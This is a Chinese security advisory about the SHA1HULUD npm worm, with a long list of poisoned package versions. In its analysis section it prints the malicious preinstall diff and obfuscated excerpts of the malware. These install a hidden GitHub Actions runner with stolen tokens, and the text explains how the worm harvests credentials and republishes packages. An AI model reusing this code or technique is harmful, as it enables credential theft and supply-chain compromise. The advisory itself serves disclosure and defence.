SHA1HULUD蠕虫再现:超300NPM包被投毒、 2万仓库信息被窃取

SHA1HULUD蠕虫袭击NPM生态

一、概述

2025年11月24日,墨菲安全实验室检测到数小时内NPM仓库中超过300个组件被相同的方式投毒,这些包在NPM仓库中发布的新版本仿冒引入Bun运行时,引入 preinstall: node setup_bun.js,以及混淆的 bun_environment.js 文件。

在执行时会下载并运行 TruffleHog 对本机进行扫描,窃取其中的 NPM Token、AWS/GCP/Azure 凭据以及环境变量等敏感信息。

恶意代码会通过创建名为SHA1HULUD的GitHub action runner实现信息窃取,与2025年9月的Shai-Hulud攻击事件可能为同一攻击者,当前受影响GitHub仓库超过2万个。

二、投毒行为分析

以@asyncapi/specs组件为例,通过对比NPM与GitHub仓库(https://github.com/asyncapi/spec-json-schemas)中的代码可以发现GitHub仓库并未受影响。

对比新老版本可以发现攻击者通过修改package.json引入了setup_bun.js

diff --git a/package.json b/package.json
index v6.8.1..v6.8.2 100644
--- a/package.json
+++ b/package.json
@@ -1,10 +1,11 @@
 {
   "name": "@asyncapi/specs",
-  "version": "6.8.1",
+  "version": "6.8.2",
   "description": "AsyncAPI schema versions",
   "main": "index.js",
   "types": "index.d.ts",
   "scripts": {
+    "preinstall": "node setup_bun.js",
     "test": "npm run build && vitest run && npm run validate:schemas",
     "build": "npm run bundle",
     "generate:assets": "npm run build",

​​​​​setup_bun.js仿冒进行bun相关设置代码,在其中调用bun_environment.js

  const environmentScript = path.join(__dirname, 'bun_environment.js');
  if (fs.existsSync(environmentScript)) {
    runExecutable(bunExecutable, [environmentScript]);
  } else {
    process.exit(0);
  }

​​​​​bun_environment.js 是一个高度混淆的恶意JavaScript文件,体积超过10MB,内置大量信息窃取逻辑。

其主要目的是收集环境中的敏感信息(AWS、Azure、GCP、GitHub、NPM 凭证),利用 TruffleHog 进行密钥扫描,并通过GitHub Action进行外发。

同时,会根据当前环境中的npm配置信息,修改package.json内容,写入setup_bun.js与 bun_environment.js,重新打包后以窃取的 Token 执行 npm publish,从而实现蠕虫传播。

if (a0_0x584cd0[_0x4f4186(21596)]() === "linux") await Bun["$"] `mkdir -p $HOME/.dev-env/`, await Bun["$"] `curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz` ["cwd"](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640)), await Bun["$"] `RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x3012a7}/${_0x10c210} --unattended --token ${_0x5ee686} --name "SHA1HULUD"` ["cwd"](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `rm actions-runner-linux-x64-2.330.0.tar.gz` ["cwd"](a0_0x584cd0["homedir"] + _0x4f4186(8640)), Bun["spawn"](["bash", "-c", "cd $HOME/.dev-env && nohup ./run.sh &"])[_0x4f4186(22716)]();
else {
    if (a0_0x584cd0[_0x4f4186(21596)]() === _0x4f4186(5417)) await Bun["$"] `powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner-win-x64-2.330.0.zip"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)]()), await Bun["$"] `powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"actions-runner-win-x64-2.330.0.zip\", \".\")"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)]()), await Bun["$"] `./config.cmd --url https://github.com/${_0x3012a7}/${_0x10c210} --unattended --token ${_0x5ee686} --name "SHA1HULUD"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)]())[_0x4f4186(3934)](), Bun[_0x4f4186(18285)](["powershell", "-ExecutionPolicy", _0x4f4186(6132), _0x4f4186(20344), _0x4f4186(6696)], {
        "cwd": a0_0x584cd0[_0x4f4186(2400)]()
    })[_0x4f4186(22716)]();
    else {
        if (a0_0x584cd0["platform"]() === _0x4f4186(18673)) await Bun["$"] `mkdir -p $HOME/.dev-env/`, await Bun["$"] `curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + "/.dev-env"), await Bun["$"] `./config.sh --url https://github.com/${_0x3012a7}/${_0x10c210} --unattended --token ${_0x5ee686} --name "SHA1HULUD"` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + _0x4f4186(8640))[_0x4f4186(3934)](), await Bun["$"] `rm actions-runner-osx-arm64-2.330.0.tar.gz` [_0x4f4186(9258)](a0_0x584cd0[_0x4f4186(2400)] + "/.dev-env"), Bun[_0x4f4186(18285)]([_0x4f4186(2383), "-c", _0x4f4186(23911)])[_0x4f4186(22716)]();
    }
}

恶意代码会创建.github/workflows/formatter_123456789.yml恶意workflow文件,创建名为SHA1HULUD的GitHub action runner,通过workflow将仓库中的secrets通过两次base64编码打包成actionsSecrets.json

图片

解码后窃取的密钥信息格式如下:

[{
    "EC2_SSH_KEY": "",
    "github_token": "",
    "AWS_OPENVPN_CLIENT_KEY": "",
    "SLACK_GHA_NOTIFICATION_WEBHOOK_URL_PROD": "",
    "EC2_HOST": "",
    "SLACK_GHA_NOTIFICATION_WEBHOOK_URL_DEV": "",
    "SLACK_WEBHOOK_URL": "",
    "CODECOV_TOKEN": ""
  },
  {
    "github_token": "",
    "FIREBASE_TOKEN": "",
    "SLACK_WEBHOOK_URL": ""
  },
  {
    "github_token": "",
    "EXPO_TOKEN": "",
    "SLACK_WEBHOOK_URL": ""
  },
  {
    "github_token": "",
    "AWS_S3_BUCKET": "",
    "AWS_SECRET_ACCESS_KEY": "",
    "AWS_ACCESS_KEY_ID": ""
  },
  {
    "github_token": "",
    "WEBFLOW_TOKEN": "",
    "WEBFLOW_COLLECTION_ID": ""
  },
  {
    "github_token": "",
    "CODECOV_TOKEN": ""
  }]

​​​​​​​当前超过2万个GitHub仓库受影响:

图片

三、受影响组件列表

组件名

版本

周下载量

@zapier/zapier-sdk

0.15.5

2636363

@zapier/zapier-sdk

0.15.7

2636363

@posthog/core

1.5.6

1983172

posthog-node

5.11.3

1551681

posthog-node

5.13.3

1551681

posthog-node

4.18.1

1551681

@asyncapi/specs

6.10.1

1439127

@asyncapi/specs

6.8.2

1439127

@asyncapi/specs

6.9.1

1439127

@asyncapi/specs

6.8.3

1439127

@postman/tunnel-agent

0.6.6

1222937

@postman/tunnel-agent

0.6.5

1222937

posthog-react-native

4.12.5

552084

posthog-react-native

4.11.1

552084

@asyncapi/parser

3.4.1

454054

@asyncapi/parser

3.4.2

454054

@asyncapi/openapi-schema-parser

3.0.25

172615

@asyncapi/avro-schema-parser

3.0.25

163621

@asyncapi/avro-schema-parser

3.0.26

163621

@asyncapi/protobuf-schema-parser

3.6.1

141222

@asyncapi/protobuf-schema-parser

3.5.3

141222

@asyncapi/react-component

2.6.6

130613

@asyncapi/generator

2.8.5

83589

@posthog/ai

7.1.2

70906

@asyncapi/modelina

5.10.2

68730

@asyncapi/modelina

5.10.3

68730

@asyncapi/generator-react-sdk

1.1.4

67985

@asyncapi/generator-react-sdk

1.1.5

67985

@postman/csv-parse

4.0.3

57070

@postman/csv-parse

4.0.4

57070

@postman/csv-parse

4.0.5

57070

posthog-react-native-session-replay

1.2.2

56023

@asyncapi/converter

1.6.3

51156

@asyncapi/multi-parser

2.2.1

49289

@asyncapi/multi-parser

2.2.2

49289

@posthog/cli

0.5.15

49272

@zapier/secret-scrubber

1.1.3

42438

@zapier/secret-scrubber

1.1.4

42438

@zapier/secret-scrubber

1.1.5

42438

zapier-platform-schema

18.0.2

38559

zapier-platform-core

18.0.2

38186

zapier-platform-core

18.0.3

38186

@ensdomains/address-encoder

1.1.5

37524

@ensdomains/content-hash

3.0.1

35779

crypto-addr-codec

0.1.9

34882

@asyncapi/nunjucks-filters

2.1.1

34226

@asyncapi/nunjucks-filters

2.1.2

34226

@asyncapi/bundler

0.6.5

33328

@asyncapi/bundler

0.6.6

33328

@posthog/nextjs-config

1.5.1

33129

@asyncapi/html-template

3.3.2

30340

@asyncapi/html-template

3.3.3

30340

@asyncapi/diff

0.5.1

29988

@asyncapi/diff

0.5.2

29988

@asyncapi/cli

4.1.2

29857

@asyncapi/optimizer

1.0.5

28860

@asyncapi/optimizer

1.0.6

28860

@asyncapi/modelina-cli

5.10.2

28041

@asyncapi/modelina-cli

5.10.3

28041

@postman/aether-icons

2.23.2

25176

@postman/aether-icons

2.23.4

25176

@asyncapi/generator-components

0.3.2

23453

@asyncapi/generator-helpers

0.2.1

21886

@asyncapi/generator-helpers

0.2.2

21886

zapier-platform-cli

18.0.3

21470

@posthog/rrweb

0.0.31

12666

ethereum-ens

0.8.1

12656

@posthog/rrweb-utils

0.0.31

12630

@posthog/rrweb-snapshot

0.0.31

12629

@posthog/rrdom

0.0.31

12627

@asyncapi/problem

1.0.1

12111

@asyncapi/problem

1.0.2

12111

@postman/secret-scanner-wasm

2.1.3

9731

@postman/secret-scanner-wasm

2.1.2

9731

@postman/secret-scanner-wasm

2.1.4

9731

@ensdomains/eth-ens-namehash

2.0.16

8578

posthog-docusaurus

2.0.6

6432

@postman/pretty-ms

6.1.1

4587

@postman/pretty-ms

6.1.3

4587

@postman/pretty-ms

6.1.2

4587

web-types-lit

0.1.1

4482

mcp-use

1.4.2

4071

mcp-use

1.4.3

4071

@posthog/react-rrweb-player

1.1.4

4062

@asyncapi/markdown-template

1.6.8

3630

@asyncapi/markdown-template

1.6.9

3630

@ensdomains/buffer

0.1.2

3493

@postman/node-keytar

7.9.4

3453

@postman/node-keytar

7.9.5

3453

@postman/node-keytar

7.9.6

3453

@mcp-use/inspector

0.6.2

3439

@mcp-use/inspector

0.6.3

3439

@mcp-use/cli

2.2.6

3327

@zapier/spectral-api-ruleset

1.9.1

3209

@zapier/spectral-api-ruleset

1.9.2

3209

@zapier/spectral-api-ruleset

1.9.3

3209

@posthog/geoip-plugin

0.0.8

3051

@ensdomains/dnsprovejs

0.5.3

2908

@ensdomains/solsha1

0.0.4

2893

@asyncapi/web-component

2.6.6

2689

@asyncapi/web-component

2.6.7

2689

@posthog/nuxt

1.2.9

2362

@zapier/browserslist-config-zapier

1.0.3

1961

@zapier/browserslist-config-zapier

1.0.5

1961

@posthog/wizard

1.18.1

1945

react-native-use-modal

1.0.3

1865

@asyncapi/java-spring-template

1.6.1

1825

@asyncapi/java-spring-template

1.6.2

1825

@posthog/rrweb-record

0.0.31

1761

@posthog/siphash

1.1.2

1742

@posthog/piscina

3.2.1

1741

@ensdomains/ens-validation

0.1.1

1734

@posthog/plugin-contrib

0.0.6

1732

@posthog/agent

1.24.1

1660

@postman/postman-mcp-server

2.4.11

1448

@postman/postman-mcp-server

2.4.10

1448

@asyncapi/nodejs-ws-template

0.10.1

1406

@asyncapi/nodejs-ws-template

0.10.2

1406

@actbase/react-daum-postcode

1.0.5

1221

token.js-fork

0.7.32

1109

@postman/pm-bin-windows-x64

1.24.5

708

@postman/pm-bin-windows-x64

1.24.4

708

@ensdomains/ens-avatar

1.0.4

685

@postman/pm-bin-linux-x64

1.24.3

671

@postman/pm-bin-linux-x64

1.24.4

671

@postman/pm-bin-linux-x64

1.24.5

671

@posthog/hedgehog-mode

0.0.42

635

create-mcp-use-app

0.5.3

521

create-mcp-use-app

0.5.4

521

@postman/pm-bin-macos-arm64

1.24.5

469

@postman/pm-bin-macos-arm64

1.24.3

469

@postman/pm-bin-macos-arm64

1.24.4

469

@posthog/nextjs

0.0.3

401

@postman/pm-bin-macos-x64

1.24.3

337

@postman/pm-bin-macos-x64

1.24.5

337

redux-router-kit

1.2.2

320

redux-router-kit

1.2.3

320

redux-router-kit

1.2.4

320

@ensdomains/dnssecoraclejs

0.2.9

309

@postman/mcp-ui-client

5.5.1

270

@postman/mcp-ui-client

5.5.2

270

@postman/postman-mcp-cli

1.0.5

258

@postman/postman-mcp-cli

1.0.4

258

@zapier/babel-preset-zapier

6.4.1

256

@zapier/babel-preset-zapier

6.4.3

256

@ensdomains/thorin

0.6.51

213

@postman/postman-collection-fork

4.3.3

195

@postman/postman-collection-fork

4.3.4

195

@postman/postman-collection-fork

4.3.5

195

@asyncapi/nodejs-template

3.0.5

187

@postman/wdio-allure-reporter

0.0.9

183

@postman/wdio-junit-reporter

0.0.4

181

@postman/wdio-junit-reporter

0.0.6

181

@postman/final-node-keytar

7.9.1

175

@postman/final-node-keytar

7.9.2

175

zapier-async-storage

1.0.1

163

zapier-async-storage

1.0.2

163

zapier-async-storage

1.0.3

163

@ensdomains/test-utils

1.3.1

153

@ensdomains/hardhat-chai-matchers-viem

0.1.15

148

@asyncapi/java-spring-cloud-stream-template

0.13.5

147

@asyncapi/java-spring-cloud-stream-template

0.13.6

147

@zapier/eslint-plugin-zapier

11.0.3

147

@zapier/eslint-plugin-zapier

11.0.4

147

@zapier/eslint-plugin-zapier

11.0.5

147

devstart-cli

1.0.6

143

@asyncapi/java-template

0.3.5

129

@asyncapi/java-template

0.3.6

129

@asyncapi/go-watermill-template

0.2.76

119

@asyncapi/go-watermill-template

0.2.77

119

@asyncapi/python-paho-template

0.2.14

112

@asyncapi/python-paho-template

0.2.15

112

@ensdomains/hardhat-toolbox-viem-extended

0.0.6

106

@ensdomains/vite-plugin-i18next-loader

4.0.4

104

zapier-platform-legacy-scripting-runner

4.0.3

103

zapier-platform-legacy-scripting-runner

4.0.4

103

@asyncapi/server-api

0.16.25

91

@ensdomains/offchain-resolver-contracts

0.2.2

88

@zapier/ai-actions

0.1.18

81

@zapier/ai-actions

0.1.19

81

@zapier/ai-actions

0.1.20

81

@zapier/mcp-integration

3.0.1

74

@zapier/mcp-integration

3.0.3

74

@ensdomains/ens-archived-contracts

0.0.3

73

@ensdomains/dnssec-oracle-anchors

0.0.2

72

@ensdomains/mock

2.1.52

66

zapier-scripts

7.8.3

65

zapier-scripts

7.8.4

65

@quick-start-soft/quick-task-refine

1.4.2511142126

56

@zapier/ai-actions-react

0.1.13

54

@zapier/ai-actions-react

0.1.14

54

@quick-start-soft/quick-git-clean-markdown

1.4.2511142126

49

@ensdomains/ui

3.4.6

49

@quick-start-soft/quick-markdown

1.4.2511142126

47

@zapier/stubtree

0.1.3

46

@ensdomains/unruggable-gateways

0.0.3

30

@posthog/rrweb-player

0.0.31

26

@asyncapi/dotnet-rabbitmq-template

1.0.1

25

@asyncapi/dotnet-rabbitmq-template

1.0.2

25

@ensdomains/react-ens-address

0.0.32

24

@asyncapi/php-template

0.1.1

21

@quick-start-soft/quick-document-translator

1.4.2511142126

20

@quick-start-soft/quick-markdown-image

1.4.2511142126

20

@strapbuild/react-native-date-time-picker

2.0.4

17

github-action-for-generator

2.1.28

17

@actbase/react-kakaosdk

0.9.27

16

bytecode-checker-cli

1.0.8

16

@markvivanco/app-version-checker

1.0.1

16

bytecode-checker-cli

1.0.9

16

@markvivanco/app-version-checker

1.0.2

16

bytecode-checker-cli

1.0.10

16

@louisle2/cortex-js

0.1.6

16

orbit-boxicons

2.1.3

16

react-native-worklet-functions

3.3.3

15

poper-react-sdk

0.1.2

13

@ensdomains/web3modal

1.10.2

13

gate-evm-tools-test

1.0.5

12

n8n-nodes-tmdb

0.5.1

12

gate-evm-tools-test

1.0.6

12

gate-evm-tools-test

1.0.7

12

capacitor-plugin-purchase

0.1.1

11

expo-audio-session

0.2.1

9

capacitor-plugin-apptrackingios

0.0.21

9

asyncapi-preview

1.0.1

8

asyncapi-preview

1.0.2

8

@actbase/react-absolute

0.8.3

8

@actbase/react-native-devtools

0.1.3

8

@posthog/variance-plugin

0.0.8

7

@posthog/twitter-followers-plugin

0.0.8

6

medusa-plugin-momo

0.0.68

6

scgs-capacitor-subscribe

1.0.11

6

gate-evm-check-code2

2.0.3

6

gate-evm-check-code2

2.0.4

6

gate-evm-check-code2

2.0.5

6

lite-serper-mcp-server

0.2.2

6

@asyncapi/edavisualiser

1.2.1

5

@asyncapi/edavisualiser

1.2.2

5

esbuild-plugin-eta

0.1.1

5

@ensdomains/server-analytics

0.0.2

5

zuper-stream

2.0.9

5

@quick-start-soft/quick-markdown-compose

1.4.2506300029

4

@posthog/snowflake-export-plugin

0.0.8

4

@actbase/react-native-kakao-channel

1.0.2

4

@posthog/sendgrid-plugin

0.0.8

4

evm-checkcode-cli

1.0.12

4

@ensdomains/subdomain-registrar

0.2.4

4

claude-token-updater

1.0.3

4

evm-checkcode-cli

1.0.13

4

evm-checkcode-cli

1.0.14

4

@trigo/atrix-pubsub

4.0.3

4

@trigo/hapi-auth-signedlink

1.3.1

4

@strapbuild/react-native-perspective-image-cropper-poojan31

0.4.6

3

axios-builder

1.2.1

3

calc-loan-interest

1.0.4

3

medusa-plugin-announcement

0.0.3

3

open2internet

0.1.1

3

@ensdomains/cypress-metamask

1.2.1

3

@ensdomains/renewal

0.0.13

3

cpu-instructions

0.0.14

3

orbit-soap

0.43.13

3

@asyncapi/keeper

0.0.2

2

@strapbuild/react-native-perspective-image-cropper-2

0.4.7

2

@actbase/react-native-actionsheet

1.0.3

2

@posthog/ingestion-alert-plugin

0.0.8

2

@actbase/react-native-simple-video

1.0.13

2

@actbase/react-native-kakao-navi

2.0.4

2

medusa-plugin-zalopay

0.0.40

2

@kvytech/medusa-plugin-newsletter

0.0.5

2

@posthog/databricks-plugin

0.0.8

2

@asyncapi/keeper

0.0.3

2

capacitor-voice-recorder-wav

6.0.3

2

create-hardhat3-app

1.1.1

2

rollup-plugin-httpfile

0.2.1

2

@ensdomains/name-wrapper

1.0.1

2

create-hardhat3-app

1.1.2

2

test-foundry-app

1.0.3

2

jan-browser

0.13.1

2

@mparpaillon/page

1.0.1

2

go-template

0.1.8

1

@strapbuild/react-native-perspective-image-cropper

0.4.15

1

manual-billing-system-miniapp-api

1.3.1

1

korea-administrative-area-geo-json-util

1.0.7

1

@posthog/currency-normalization-plugin

0.0.8

1

@posthog/web-dev-server

1.0.5

1

@posthog/pagerduty-plugin

0.0.8

1

@posthog/event-sequence-timer-plugin

0.0.8

1

@posthog/automatic-cohorts-plugin

0.0.8

1

@posthog/first-time-event-tracker

0.0.8

1

@actbase/css-to-react-native-transform

1.0.3

1

@posthog/url-normalizer-plugin

0.0.8

1

@posthog/twilio-plugin

0.0.8

1

@actbase/node-server

1.1.19

1

@posthog/gitub-star-sync-plugin

0.0.8

1

@seung-ju/react-native-action-sheet

0.2.1

1

@posthog/maxmind-plugin

0.1.6

1

@posthog/github-release-tracking-plugin

0.0.8

1

@actbase/react-native-fast-image

8.5.13

1

@posthog/customerio-plugin

0.0.8

1

@posthog/kinesis-plugin

0.0.8

1

@actbase/react-native-less-transformer

1.0.6

1

@posthog/taxonomy-plugin

0.0.8

1

medusa-plugin-product-reviews-kvy

0.0.4

1

@aryanhussain/my-angular-lib

0.0.23

1

dotnet-template

0.0.4

1

capacitor-plugin-scgssigninwithgoogle

0.0.5

1

capacitor-purchase-history

0.0.10

1

@posthog/plugin-unduplicates

0.0.8

1

posthog-plugin-hello-world

1.0.1

1

esbuild-plugin-httpfile

0.4.1

1

@ensdomains/blacklist

1.0.1

1

@ensdomains/renewal-widget

0.1.10

1

@ensdomains/hackathon-registrar

1.0.5

1

@ensdomains/ccip-read-router

0.0.7

1

@mcp-use/mcp-use

1.0.1

1

test-hardhat-app

1.0.3

1

zuper-cli

1.0.1

1

skills-use

0.1.2

1

typeorm-orbit

0.2.27

1

orbit-nebula-editor

1.0.2

1

@trigo/atrix-elasticsearch

2.0.1

1

@trigo/atrix-soap

1.0.2

1

eslint-config-zeallat-base

1.0.4

0

iron-shield-miniapp

0.0.2

0

shinhan-limit-scrap

1.0.3

0

create-glee-app

0.2.3

0

@seung-ju/next

0.0.2

0

@actbase/react-native-tiktok

1.1.3

0

discord-bot-server

0.1.2

0

@seung-ju/openapi-generator

0.0.4

0

@seung-ju/react-hooks

0.0.2

0

@actbase/react-native-naver-login

1.0.1

0

@kvytech/medusa-plugin-announcement

0.0.8

0

@kvytech/components

0.0.2

0

@kvytech/cli

0.0.7

0

@kvytech/medusa-plugin-management

0.0.5

0

@kvytech/medusa-plugin-product-reviews

0.0.9

0

@kvytech/web

0.0.2

0

scgsffcreator

1.0.5

0

vite-plugin-httpfile

0.2.1

0

@ensdomains/curvearithmetics

1.0.1

0

@ensdomains/reverse-records

1.0.1

0

@ensdomains/ccip-read-dns-gateway

0.1.1

0

@ensdomains/unicode-confusables

0.1.1

0

@ensdomains/durin-middleware

0.0.2

0

@ensdomains/ccip-read-worker-viem

0.0.4

0

atrix

1.0.1

0

@caretive/caret-cli

0.0.2

-1

exact-ticker

0.3.5

-1

@orbitgtbelgium/orbit-components

1.2.9

-1

react-library-setup

0.0.6

-1

@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode

1.1.1

-1

orbit-nebula-draw-tools

1.0.10

-1

@orbitgtbelgium/time-slider

1.0.187

-1

react-element-prompt-inspector

0.1.18

-1

@trigo/pathfinder-ui-css

0.1.1

-1

eslint-config-trigo

22.0.2

-1

@trigo/fsm

3.4.2

-1

@trigo/atrix

7.0.1

-1

@trigo/atrix-postgres

1.0.3

-1

trigo-react-app

4.1.2

-1

@trigo/eslint-config-trigo

3.3.1

-1

@trigo/bool-expressions

4.1.3

-1

@trigo/trigo-hapijs

5.0.1

-1

@trigo/node-soap

0.5.4

-1

@trigo/jsdt

0.2.1

-1

bool-expressions

0.1.2

-1

@trigo/atrix-redis

1.0.2

-1

@trigo/atrix-acl

4.0.2

-1

@trigo/atrix-orientdb

1.0.2

-1

@trigo/atrix-mongoose

1.0.2

-1

atrix-mongoose

1.0.1

-1

redux-forge

2.5.3

-1

@trigo/keycloak-api

1.3.1

-1

@mparpaillon/connector-parse

1.0.1

-1

@mparpaillon/imagesloaded

4.1.2

-1

@alaan/s2s-auth

2.0.3

-1

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值